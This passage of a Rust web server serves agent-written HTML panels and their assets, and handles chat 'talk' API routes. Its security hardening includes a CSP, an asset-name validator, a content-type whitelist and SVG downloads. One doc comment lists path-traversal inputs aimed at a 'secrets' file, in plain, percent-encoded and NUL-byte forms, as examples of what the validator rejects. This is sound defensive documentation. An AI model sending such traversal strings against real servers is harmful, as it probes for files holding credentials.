9045    .await
9046}
9047
9048/// Expand an id or short id to exactly one question id.
9049fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
9050    if plain_record_id(id) && store.path_of(id).is_file() {
9051        return Ok(id.to_owned());
9052    }
9053    pick(
9054        store.list().into_iter().map(|q| q.id).collect(),
9055        id,
9056        "question",
9057    )
9058}
9059
9060/// `GET /api/questions/{id}/panel`.
9061///
9062/// The panel an agent wrote for this question, as `text/html` under
9063/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
9064/// A question without one is a 404 rather than an empty page: the client
9065/// preflights this route with `HEAD` and must be able to tell "no panel" from
9066/// "a panel that rendered blank", and a sandboxed frame is opaque to the
9067/// parent document so it cannot tell the difference by looking.
9068///
9069/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
9070/// sanitises or minifies it - a sanitiser is a list of things someone thought
9071/// of, and the sandbox plus the CSP is a list of things that are allowed, which
9072/// is the direction that stays safe when an agent writes markup nobody
9073/// predicted.
9074async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
9075    blocking(move || {
9076        let id = resolve_question(&ui.questions, &id)?;
9077        let Some(html) = ui.questions.panel_html(&id) else {
9078            return Err(ApiError::not_found(format!("question {id} has no panel")));
9079        };
9080        Ok(panel_response(
9081            "text/html; charset=utf-8",
9082            false,
9083            html.into_bytes(),
9084        ))
9085    })
9086    .await
9087}
9088
9089/// `GET /api/questions/{id}/asset/{name}`.
9090///
9091/// One file from the question's own panel directory, so a panel can show a
9092/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
9093/// having to allow anything off this machine.
9094///
9095/// This is the only route in the server where a client names a file, so it is
9096/// the only one with a traversal surface, and the name is checked by
9097/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
9098/// what is worth being explicit about, because the answer is not "all of it in
9099/// one place":
9100///
9101/// * `asset/../../secrets` never reaches this handler at all. axum matches on
9102///   the raw request path and `{name}` spans exactly one segment, so a real
9103///   slash makes the request too long for the route and the router answers 404.
9104/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
9105///   percent-decodes path parameters, so `name` arrives as `../secrets` and
9106///   `..\secrets` respectively, which look like plain filenames to the router.
9107///   The validator refuses them here - both for the literal `..` and because
9108///   `/` and `\` are not in the permitted character set - and answers 400.
9109/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
9110///   the platform's path API is not, and it is refused here for the same
9111///   reason: NUL is not a permitted character.
9112/// * [`Questions::panel_asset`] validates again on read, so the check is not
9113///   load-bearing in only one place. This route's own check exists so the
9114///   failure is a 400 that says which name was wrong, rather than a store error
9115///   the operator has to interpret.
9116async fn question_asset(
9117    State(ui): State<Arc<Ui>>,
9118    Path((id, name)): Path<(String, String)>,
9119) -> ApiResult<Response> {
9120    // Before any filesystem work and before any path is built: a name this
9121    // server will not serve should not become a `PathBuf` at all.
9122    if !crate::ask::valid_asset_name(&name) {
9123        return Err(ApiError::bad_request(format!(
9124            "`{name}` is not a usable asset name"
9125        )));
9126    }
9127    blocking(move || {
9128        let id = resolve_question(&ui.questions, &id)?;
9129        let asset = ui
9130            .questions
9131            .panel_asset(&id, &name)
9132            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
9133        let Some(bytes) = asset else {
9134            return Err(ApiError::not_found(format!(
9135                "question {id} has no asset `{name}`"
9136            )));
9137        };
9138        Ok(panel_response(
9139            asset_content_type(&name),
9140            is_svg(&name),
9141            bytes,
9142        ))
9143    })
9144    .await
9145}
9146
9147/// Content type for a panel asset, from a closed whitelist.
9148///
9149/// A whitelist with an `application/octet-stream` fallback rather than a
9150/// guess, because the one answer that must never come out of here is
9151/// `text/html`. An agent that writes `notes.html` into its panel directory and
9152/// links it would otherwise get its own markup rendered at the top level of the
9153/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
9154/// magi's origin - which is precisely the thing the panel design exists to
9155/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
9156///
9157/// `nosniff` accompanies this on every response, so a browser cannot decide it
9158/// knows better than the type we sent.
9159fn asset_content_type(name: &str) -> &'static str {
9160    match extension(name).as_deref() {
9161        Some("png") => "image/png",
9162        Some("jpg" | "jpeg") => "image/jpeg",
9163        Some("gif") => "image/gif",
9164        Some("webp") => "image/webp",
9165        Some("svg") => "image/svg+xml",
9166        Some("css") => "text/css; charset=utf-8",
9167        Some("txt") => "text/plain; charset=utf-8",
9168        _ => "application/octet-stream",
9169    }
9170}
9171
9172/// Is this an SVG, and therefore a file that must never be opened at the top
9173/// level?
9174fn is_svg(name: &str) -> bool {
9175    extension(name).as_deref() == Some("svg")
9176}
9177
9178/// Lowercased extension, or `None` for a name without one.
9179fn extension(name: &str) -> Option<String> {
9180    name.rsplit_once('.')
9181        .map(|(_, ext)| ext.to_ascii_lowercase())
9182}
9183
9184/// Every panel response, with the four headers that make it safe and, for an
9185/// SVG, a fifth.
9186///
9187/// One function rather than a header list per handler, because a panel route
9188/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
9189/// model gone, silently, on one of two routes. Adding a third panel route later
9190/// means calling this, and there is nowhere else to build a panel response.
9191///
9192/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
9193/// as an `<img src>` inside the panel that script cannot run - but the asset
9194/// URL is also a plain URL an operator can be talked into opening in a tab,
9195/// where it is a document on magi's own origin. `Content-Disposition:
9196/// attachment` makes the browser download it instead of rendering it, which
9197/// closes that door without taking away the ability to draw a diff. Raster
9198/// images have no such execution surface and are left inline, so tapping a
9199/// screenshot still shows it.
9200fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
9201    let mut res = (
9202        [
9203            (header::CONTENT_TYPE, content_type),
9204            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
9205            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9206            (header::REFERRER_POLICY, "no-referrer"),
9207        ],
9208        body,
9209    )
9210        .into_response();
9211    if download {
9212        res.headers_mut().insert(
9213            header::CONTENT_DISPOSITION,
9214            HeaderValue::from_static("attachment"),
9215        );
9216    }
9217    res
9218}
9219
9220/// A talk as the phone reads it.
9221///
9222/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
9223/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
9224/// parses markdown itself - and the process-local `thinking` hint.
9225#[derive(Debug, Serialize)]
9226struct ChatApproval {
9227    question: String,
9228    target: crate::merge_decision::Target,
9229}
9230
9231#[derive(Debug, Serialize)]
9232struct TalkView {
9233    #[serde(flatten)]
9234    talk: Talk,
9235    turn_bodies_md: Vec<Vec<md::Node>>,
9236    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
9237    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
9238    pending_messages_md: Vec<Option<Vec<md::Node>>>,
9239    merge_approvals: Vec<ChatApproval>,
9240    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
9241    /// this server process.
9242    ///
9243    /// This is deliberately not durable: another server process cannot see
9244    /// it, and a restarted server must not claim an old turn is live. It is a
9245    /// progress hint rather than proof a reply landed; the transcript remains
9246    /// the source of truth for that.
9247    thinking: bool,
9248    /// Context-window usage, derived per request - see
9249    /// [`talk::context_usage`]. Carried on every talk response (list, detail
9250    /// and each mutation) so the phone needs no extra call or polling.
9251    context: talk::ContextUsage,
9252    /// `[talk] operator_name`, when configured; the Chat labels the
9253    /// operator's turns with it.
9254    operator_name: Option<String>,
9255    /// The active persona's display name; `None` for the default voice.
9256    persona_name: Option<String>,
9257    /// URL of the avatar for the conversation's persona (the default voice
9258    /// included). Server-built; a configured `icon` never reaches the client.
9259    persona_avatar: String,
9260    /// Operator avatar; display only and independent of repository config.
9261    operator_avatar: String,
9262    magi_avatar: String,
9263}
9264
9265impl TalkView {
9266    /// Reads the talk's repository config itself; a config that cannot be
9267    /// read leaves the window unknown but never fails the conversation.
9268    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
9269        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9270        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
9271    }
9272
9273    /// As [`Self::new`], with the config already in hand (the list reads one
9274    /// per repository, not one per conversation).
9275    fn with_config(
9276        talk: Talk,
9277        thinking: bool,
9278        cfg: Option<&Config>,
9279        home: &FsPath,
9280        cache: &id_links::IndexCache,
9281    ) -> Self {
9282        let references = cache.for_talk(home, &talk);
9283        Self::with_references(talk, thinking, cfg, home, &references)
9284    }
9285
9286    fn with_references(
9287        mut talk: Talk,
9288        thinking: bool,
9289        cfg: Option<&Config>,
9290        home: &FsPath,
9291        references: &id_links::IdIndex,
9292    ) -> Self {
9293        // This owned value is the display DTO; never write it back to the talk store.
9294        let snapshot = talk.clone();
9295        for (index, turn) in talk.turns.iter_mut().enumerate() {
9296            let original = &snapshot.turns[index];
9297            if turn.messages.is_empty() {
9298                if let Some(display) = talk::notice_display(&snapshot, original, None) {
9299                    turn.messages.push(talk::Message {
9300                        sender: Some(talk::Sender::Magi),
9301                        accepted_at: None,
9302                        body: original.body.clone(),
9303                        display: Some(display),
9304                        recovery_event: None,
9305                        attachments: original.attachments.clone(),
9306                        reply: None,
9307                    });
9308                }
9309            } else {
9310                for (i, message) in turn.messages.iter_mut().enumerate() {
9311                    message.display =
9312                        talk::notice_display(&snapshot, original, original.messages.get(i));
9313                    if message.display.is_some() {
9314                        message.sender = Some(talk::Sender::Magi);
9315                    }
9316                }
9317            }
9318        }
9319        for message in &mut talk.pending_messages {
9320            if message.display.is_none()
9321                && (message.sender == Some(talk::Sender::Magi)
9322                    || snapshot
9323                        .completion_notices
9324                        .iter()
9325                        .any(|r| r.notice == message.body))
9326            {
9327                message.display = crate::prompt::legacy_notice_display(&message.body);
9328                if message.display.is_some() {
9329                    message.sender = Some(talk::Sender::Magi);
9330                }
9331            }
9332        }
9333        if talk.pending_messages.is_empty()
9334            && snapshot
9335                .completion_notices
9336                .iter()
9337                .any(|r| r.notice == talk.pending)
9338            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
9339        {
9340            talk.pending_messages.push(talk::Message {
9341                sender: Some(talk::Sender::Magi),
9342                accepted_at: None,
9343                display: Some(display),
9344                recovery_event: None,
9345                body: talk.pending.clone(),
9346                attachments: talk.pending_attachments.clone(),
9347                reply: None,
9348            });
9349        }
9350        let excerpts: Vec<Vec<Option<String>>> = talk
9351            .turns
9352            .iter()
9353            .map(|turn| {
9354                turn.messages
9355                    .iter()
9356                    .map(|m| {
9357                        m.display
9358                            .as_ref()
9359                            .map(|d| d.facts.chars().take(240).collect())
9360                    })
9361                    .collect()
9362            })
9363            .collect();
9364        for turn in &mut talk.turns {
9365            let provenance = talk::sender(turn, None);
9366            turn.sender = Some(provenance);
9367            for message in &mut turn.messages {
9368                message.sender = Some(message.sender.unwrap_or(provenance));
9369            }
9370        }
9371        // Old reply snapshots have only a role; recover provenance from their target.
9372        let senders: Vec<Vec<talk::Sender>> = talk
9373            .turns
9374            .iter()
9375            .map(|turn| {
9376                if turn.messages.is_empty() {
9377                    vec![talk::sender(turn, None)]
9378                } else {
9379                    turn.messages
9380                        .iter()
9381                        .map(|m| talk::sender(turn, Some(m)))
9382                        .collect()
9383                }
9384            })
9385            .collect();
9386        for reply in talk
9387            .turns
9388            .iter_mut()
9389            .flat_map(|t| t.messages.iter_mut())
9390            .chain(talk.pending_messages.iter_mut())
9391            .filter_map(|m| m.reply.as_mut())
9392        {
9393            if let Some(Some(excerpt)) = excerpts
9394                .get(reply.target.turn)
9395                .and_then(|ms| ms.get(reply.target.message))
9396            {
9397                reply.excerpt = excerpt.clone();
9398                reply.sender = Some(talk::Sender::Magi);
9399            }
9400            if reply.sender.is_none() {
9401                reply.sender = senders
9402                    .get(reply.target.turn)
9403                    .and_then(|messages| messages.get(reply.target.message))
9404                    .copied();
9405            }
9406        }
9407        let context = talk::context_usage(&talk, cfg);
9408        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9409            .turns
9410            .iter()
9411            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9412            .collect();
9413        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9414            .turns
9415            .iter()
9416            .map(|turn| {
9417                if turn.messages.is_empty() {
9418                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9419                } else {
9420                    turn.messages
9421                        .iter()
9422                        .map(|message| {
9423                            notice_markdown(
9424                                message.sender.unwrap_or(talk::Sender::Operator),
9425                                &message.body,
9426                                message.display.as_ref(),
9427                            )
9428                        })
9429                        .collect()
9430                }
9431            })
9432            .collect();
9433        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9434            .pending_messages
9435            .iter()
9436            .map(|message| {
9437                notice_markdown(
9438                    message.sender.unwrap_or(talk::Sender::Operator),
9439                    &message.body,
9440                    message.display.as_ref(),
9441                )
9442            })
9443            .collect();
9444        for nodes in &mut turn_bodies_md {
9445            references.markdown(nodes);
9446        }
9447        for nodes in turn_messages_md
9448            .iter_mut()
9449            .flatten()
9450            .chain(pending_messages_md.iter_mut())
9451            .flatten()
9452        {
9453            references.markdown(nodes);
9454        }
9455        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9456        let persona_name = persona::find(specs, &talk.persona)
9457            .filter(|p| !p.is_default())
9458            .map(|p| p.name);
9459        let mut avatar_persona = persona::find(specs, &talk.persona)
9460            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9461        // A removed configured persona may still have an override and old talks.
9462        if avatar_persona.id != talk.persona
9463            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9464        {
9465            avatar_persona.id.clone_from(&talk.persona);
9466            avatar_persona.icon = None;
9467        }
9468        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9469        let approvals_store = ask::Questions::at(home.join("questions"));
9470        let merge_approvals = talk
9471            .notified
9472            .iter()
9473            .filter_map(|key| key.strip_prefix("question:"))
9474            .filter_map(|id| approvals_store.get(id).ok())
9475            .filter(|q| !crate::task_chat::source_retired(home, &q.id))
9476            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9477            .filter_map(|q| {
9478                Some(ChatApproval {
9479                    question: q.id,
9480                    target: q.merge_target?,
9481                })
9482            })
9483            .collect();
9484        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9485        Self {
9486            turn_bodies_md,
9487            turn_messages_md,
9488            pending_messages_md,
9489            merge_approvals,
9490            thinking,
9491            context,
9492            operator_name,
9493            persona_name,
9494            persona_avatar,
9495            magi_avatar: magi_icon_url(home),
9496            operator_avatar: operator_icon_url(home),
9497            talk,
9498        }
9499    }
9500}
9501
9502/// Parse only the user-facing representation of an explicitly identified MAGI send.
9503fn notice_markdown(
9504    sender: talk::Sender,
9505    body: &str,
9506    display: Option<&crate::prompt::NoticeDisplay>,
9507) -> Option<Vec<md::Node>> {
9508    if sender != talk::Sender::Magi {
9509        return None;
9510    }
9511    let text = if let Some(display) = display {
9512        display.facts.as_str()
9513    } else {
9514        // Unknown completion templates may contain internal directives. Never
9515        // promote their agent input to the Markdown display surface.
9516        if crate::prompt::is_completion_notice(body)
9517            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9518        {
9519            return None;
9520        }
9521        body.strip_prefix("magi: ").unwrap_or(body)
9522    };
9523    Some(md::to_nodes(text, &md::ImageBase::None))
9524}
9525
9526/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9527/// conversation has filed, so the phone can follow one from inside the
9528/// conversation that asked for it rather than hunting the Queue for a task id
9529/// it may not remember.
9530#[derive(Debug, Serialize)]
9531struct TalkDetailView {
9532    #[serde(flatten)]
9533    view: TalkView,
9534    tasks: Vec<TaskView>,
9535    task_progress: TalkTaskProgress,
9536    goal_link: Option<TalkGoalLink>,
9537    goal_link_for: Timestamp,
9538    /// The agents this talk's repository can switch to; empty when its
9539    /// configuration cannot be read, which must not fail the whole detail.
9540    roster: Vec<RosterEntry>,
9541    /// The personas the conversation can pick from. The built-ins are always
9542    /// listed, even when the repository's configuration cannot be read.
9543    personas: Vec<PersonaEntry>,
9544}
9545
9546/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9547#[derive(Debug, Serialize)]
9548struct TalkTaskProgress {
9549    state: &'static str,
9550    total: usize,
9551    done: usize,
9552    counts: std::collections::BTreeMap<&'static str, usize>,
9553    unfinished_ids: Vec<String>,
9554}
9555
9556fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9557    let mut counts = std::collections::BTreeMap::from([
9558        ("queued", 0),
9559        ("running", 0),
9560        ("done", 0),
9561        ("failed", 0),
9562        ("held", 0),
9563        ("blocked", 0),
9564        ("parked", 0),
9565    ]);
9566    let mut unfinished_ids = Vec::new();
9567    for task in tasks {
9568        *counts.entry(task.status.as_str()).or_default() += 1;
9569        if task.status != TaskStatus::Done {
9570            unfinished_ids.push(task.id.clone());
9571        }
9572    }
9573    TalkTaskProgress {
9574        state: if tasks.is_empty() {
9575            "none"
9576        } else if unfinished_ids.is_empty() {
9577            "complete"
9578        } else {
9579            "incomplete"
9580        },
9581        total: tasks.len(),
9582        done: tasks.len() - unfinished_ids.len(),
9583        counts,
9584        unfinished_ids,
9585    }
9586}
9587
9588/// Prefer a referenced task's current Run or Task, then an explicitly
9589/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9590#[derive(Debug, Serialize)]
9591struct TalkGoalLink {
9592    goal: String,
9593    kind: &'static str,
9594    id: String,
9595}
9596
9597fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9598    let goal = crate::chat_goal::Goal::selected(talk)?;
9599    let repo = goal.effective_repo(&talk.repo);
9600    let valid_run = |id: &str| {
9601        plain_record_id(id)
9602            && read_run(runs, id).is_ok_and(|state| {
9603                state.id == id
9604                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9605            })
9606    };
9607    for id in goal.tasks.iter().rev() {
9608        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9609            continue;
9610        };
9611        // Repository reassignments retain historical runs. Only this task's
9612        // current execution can be presented as the goal's current Run.
9613        if let Some(run) = task.execution_runs().last()
9614            && valid_run(run)
9615        {
9616            return Some(TalkGoalLink {
9617                goal: goal.id.clone(),
9618                kind: "run",
9619                id: run.clone(),
9620            });
9621        }
9622        return Some(TalkGoalLink {
9623            goal: goal.id.clone(),
9624            kind: "task",
9625            id: task.id,
9626        });
9627    }
9628    for id in goal.runs.iter().rev() {
9629        if valid_run(id) {
9630            return Some(TalkGoalLink {
9631                goal: goal.id.clone(),
9632                kind: "run",
9633                id: id.clone(),
9634            });
9635        }
9636    }
9637    None
9638}
9639
9640/// One persona as the talk's persona selector shows it.
9641#[derive(Debug, Serialize)]
9642struct PersonaEntry {
9643    id: String,
9644    name: String,
9645    /// Avatar URL, see [`TalkView::persona_avatar`].
9646    avatar: String,
9647}
9648
9649/// One roster agent as the talk's agent selector shows it.
9650#[derive(Debug, Serialize)]
9651struct RosterEntry {
9652    id: String,
9653    kind: AgentKind,
9654    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9655    runnable: bool,
9656}
9657
9658/// Bounded summaries; `/page` carries a cursor for older membership.
9659async fn talks_list(
9660    State(ui): State<Arc<Ui>>,
9661    Query(q): Query<ListQuery>,
9662    headers: header::HeaderMap,
9663) -> ApiResult<Json<Vec<TalkListView>>> {
9664    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9665        let limit = q.limit.unwrap_or(50).min(50);
9666        let ids = if let Some(ids) = q.ids {
9667            ids.split(',')
9668                .filter(|id| plain_record_id(id))
9669                .take(limit)
9670                .map(str::to_owned)
9671                .collect()
9672        } else {
9673            page_ids(&ui, true, PageQuery::default())?
9674                .0
9675                .into_iter()
9676                .take(limit.min(STORE_PAGE_SIZE))
9677                .collect()
9678        };
9679        Ok(Json(talk_rows(&ui, ids, &headers)))
9680    })
9681    .await
9682}
9683
9684/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9685/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9686/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9687/// end still opens a talk against an older binary.
9688#[derive(Debug, Default, Deserialize)]
9689#[serde(default)]
9690struct NewTalk {
9691    agent: Option<String>,
9692    repo: Option<PathBuf>,
9693    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9694    /// wrong type is dropped like a stale value instead of failing the request;
9695    /// each falls back to its default on its own (see [`talk::begin_with`]).
9696    preferred_agent: Option<serde_json::Value>,
9697    persona: Option<serde_json::Value>,
9698    implementers: Option<serde_json::Value>,
9699}
9700
9701/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9702/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9703async fn talk_post(
9704    State(ui): State<Arc<Ui>>,
9705    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9706) -> ApiResult<impl IntoResponse> {
9707    // An absent body, or an empty one, is the normal way to open a talk - see
9708    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9709    // rather than refused.
9710    let body = match body {
9711        Ok(Json(body)) => body,
9712        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9713        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9714    };
9715    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9716    let cfg = config_for(&repo).await?;
9717    let view = blocking(move || {
9718        let preferred = talk::Preferred {
9719            agent: body
9720                .preferred_agent
9721                .as_ref()
9722                .and_then(|v| v.as_str())
9723                .map(str::to_owned),
9724            persona: body
9725                .persona
9726                .as_ref()
9727                .and_then(|v| v.as_str())
9728                .map(str::to_owned),
9729            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9730        };
9731        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9732        let thinking = ui.is_thinking(&talk.id);
9733        Ok(TalkView::new(talk, thinking, &ui))
9734    })
9735    .await?;
9736    Ok((StatusCode::CREATED, Json(view)))
9737}
9738
9739/// Transcript first: unrelated queue history and repository probes are deferred.
9740async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9741    // Keep transcript reads independent of sections and the runtime blocking pool.
9742    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9743        let id = resolve_talk(&ui.talks, &id)?;
9744        let talk = ui.talks.get(&id)?;
9745        let thinking = ui.is_thinking_observed(&id);
9746        // The browser already resolves Markdown text/code references after
9747        // rendering. A cold reference/review index must not gate the transcript.
9748        Ok(Json(TalkView::with_references(
9749            talk,
9750            thinking,
9751            None,
9752            &ui.home,
9753            &id_links::IdIndex::default(),
9754        )))
9755    })
9756    .await
9757}
9758
9759async fn talk_sections(
9760    State(ui): State<Arc<Ui>>,
9761    Path(id): Path<String>,
9762) -> ApiResult<Json<serde_json::Value>> {
9763    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9764        let id = resolve_talk(&ui.talks, &id)?;
9765        let talk = ui.talks.get(&id)?;
9766        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9767        let task_progress = talk_task_progress(&tasks);
9768        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9769        let tasks: Vec<_> = tasks
9770            .into_iter()
9771            .map(|task| {
9772                serde_json::json!({
9773                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9774                })
9775            })
9776            .collect();
9777        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9778        let roster: Vec<_> = cfg
9779            .as_ref()
9780            .map(|cfg| {
9781                cfg.agents
9782                    .iter()
9783                    .map(|a| RosterEntry {
9784                        id: a.id.clone(),
9785                        kind: a.kind,
9786                        runnable: agent::installed(a),
9787                    })
9788                    .collect()
9789            })
9790            .unwrap_or_default();
9791        let specs = cfg
9792            .as_ref()
9793            .map(|cfg| cfg.talk.personas.clone())
9794            .unwrap_or_default();
9795        let personas: Vec<_> = persona::catalog(&specs)
9796            .into_iter()
9797            .map(|p| PersonaEntry {
9798                avatar: avatar_url(&ui.home, &talk.id, &p),
9799                id: p.id,
9800                name: p.name,
9801            })
9802            .collect();
9803        let active_persona = persona::find(&specs, &talk.persona)
9804            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9805        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9806        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9807        Ok(Json(serde_json::json!({
9808            "tasks": tasks, "task_progress": task_progress,
9809            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9810            "roster": roster, "personas": personas,
9811            "context": talk::context_usage(&talk, cfg.as_ref()),
9812            "context_for": talk.updated_at,
9813            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9814            "persona_name": persona_name,
9815            "persona_avatar": persona_avatar,
9816        })))
9817    })
9818    .await
9819}
9820
9821/// `GET /api/talks/{id}`.
9822async fn talk_detail(
9823    State(ui): State<Arc<Ui>>,
9824    Path(id): Path<String>,
9825) -> ApiResult<Json<TalkDetailView>> {
9826    blocking(move || {
9827        let id = resolve_talk(&ui.talks, &id)?;
9828        let talk = ui.talks.get(&id)?;
9829        let thinking = ui.is_thinking_observed(&talk.id);
9830        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9831        let task_progress = talk_task_progress(&tasks);
9832        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9833        let goal_link_for = talk.updated_at;
9834        let tasks = tasks.into_iter().map(TaskView::from).collect();
9835        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9836        let roster = cfg
9837            .as_ref()
9838            .map(|cfg| {
9839                cfg.agents
9840                    .iter()
9841                    .map(|a| RosterEntry {
9842                        id: a.id.clone(),
9843                        kind: a.kind,
9844                        runnable: agent::installed(a),
9845                    })
9846                    .collect()
9847            })
9848            .unwrap_or_default();
9849        let specs = cfg
9850            .as_ref()
9851            .map(|cfg| cfg.talk.personas.clone())
9852            .unwrap_or_default();
9853        let personas = persona::catalog(&specs)
9854            .into_iter()
9855            .map(|p| PersonaEntry {
9856                avatar: avatar_url(&ui.home, &talk.id, &p),
9857                id: p.id,
9858                name: p.name,
9859            })
9860            .collect();
9861        Ok(Json(TalkDetailView {
9862            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9863            tasks,
9864            task_progress,
9865            goal_link,
9866            goal_link_for,
9867            roster,
9868            personas,
9869        }))
9870    })
9871    .await
9872}
9873
9874/// The body of `POST /api/talks/{id}/say`.
9875///
9876/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9877/// returned - never bytes of its own - so a turn with no images just omits
9878/// the field, which is what an older front end still does.
9879#[derive(Debug, Default, Deserialize)]
9880#[serde(default, deny_unknown_fields)]
9881struct NewTalkTurn {
9882    reply_to: Option<talk::ReplyTarget>,
9883    text: String,
9884    attachments: Vec<String>,
9885}
9886
9887#[derive(Debug, Deserialize)]
9888#[serde(deny_unknown_fields)]
9889struct EditTalkPending {
9890    #[serde(default)]
9891    message: Option<usize>,
9892    text: String,
9893    expected_text: String,
9894    expected_attachments: Vec<String>,
9895}
9896
9897#[derive(Debug, Deserialize)]
9898#[serde(deny_unknown_fields)]
9899struct ClearTalkPending {
9900    expected_text: String,
9901    expected_attachments: Vec<String>,
9902}
9903
9904/// `POST /api/talks/{id}/say` - one turn of the conversation.
9905///
9906/// Not filesystem work, and therefore not routed through [`blocking`]: this
9907/// route spawns an agent CLI and a turn here can run for the whole of
9908/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9909/// research turn is expected to run commands rather than answer from what it
9910/// already knows. Holding an HTTP connection open that long is not a thing
9911/// to ask a phone to do; the operator's message is recorded and answered for
9912/// immediately, and the reply lands in the background, discovered through
9913/// the change stream's `talks_rev` the same way every other update on this
9914/// surface is.
9915async fn talk_say(
9916    State(ui): State<Arc<Ui>>,
9917    Path(id): Path<String>,
9918    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9919) -> ApiResult<(StatusCode, Json<TalkView>)> {
9920    let admission = ui.begin_admission()?;
9921    admitted(admission, async move {
9922    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9923    if body.text.trim().is_empty() && body.attachments.is_empty() {
9924        return Err(ApiError::bad_request("say something"));
9925    }
9926
9927    let id = {
9928        let ui = Arc::clone(&ui);
9929        let asked = id.clone();
9930        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9931    };
9932    // A closed Talk never accepts a new immediate or queued turn. Check this
9933    // before claiming a slot so its ordinary domain refusal is a 409, not an
9934    // incidental failure from the later record/queue write.
9935    {
9936        let ui = Arc::clone(&ui);
9937        let id = id.clone();
9938        blocking(move || {
9939            let talk = ui.talks.get(&id)?;
9940            if !talk.status.open() {
9941                return Err(ApiError::conflict(format!(
9942                    "talk {} is {} and takes no more turns",
9943                    talk.short(),
9944                    talk.status.as_str()
9945                )));
9946            }
9947            Ok(())
9948        })
9949        .await?;
9950    }
9951
9952    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9953    // actually stores, before anything is written - an unknown id is a 4xx
9954    // that names it rather than a turn (or a queued draft) silently missing
9955    // an image.
9956    let attachments = {
9957        let ui = Arc::clone(&ui);
9958        let id = id.clone();
9959        let ids = body.attachments.clone();
9960        blocking(move || {
9961            ids.into_iter()
9962                .map(|att_id| {
9963                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
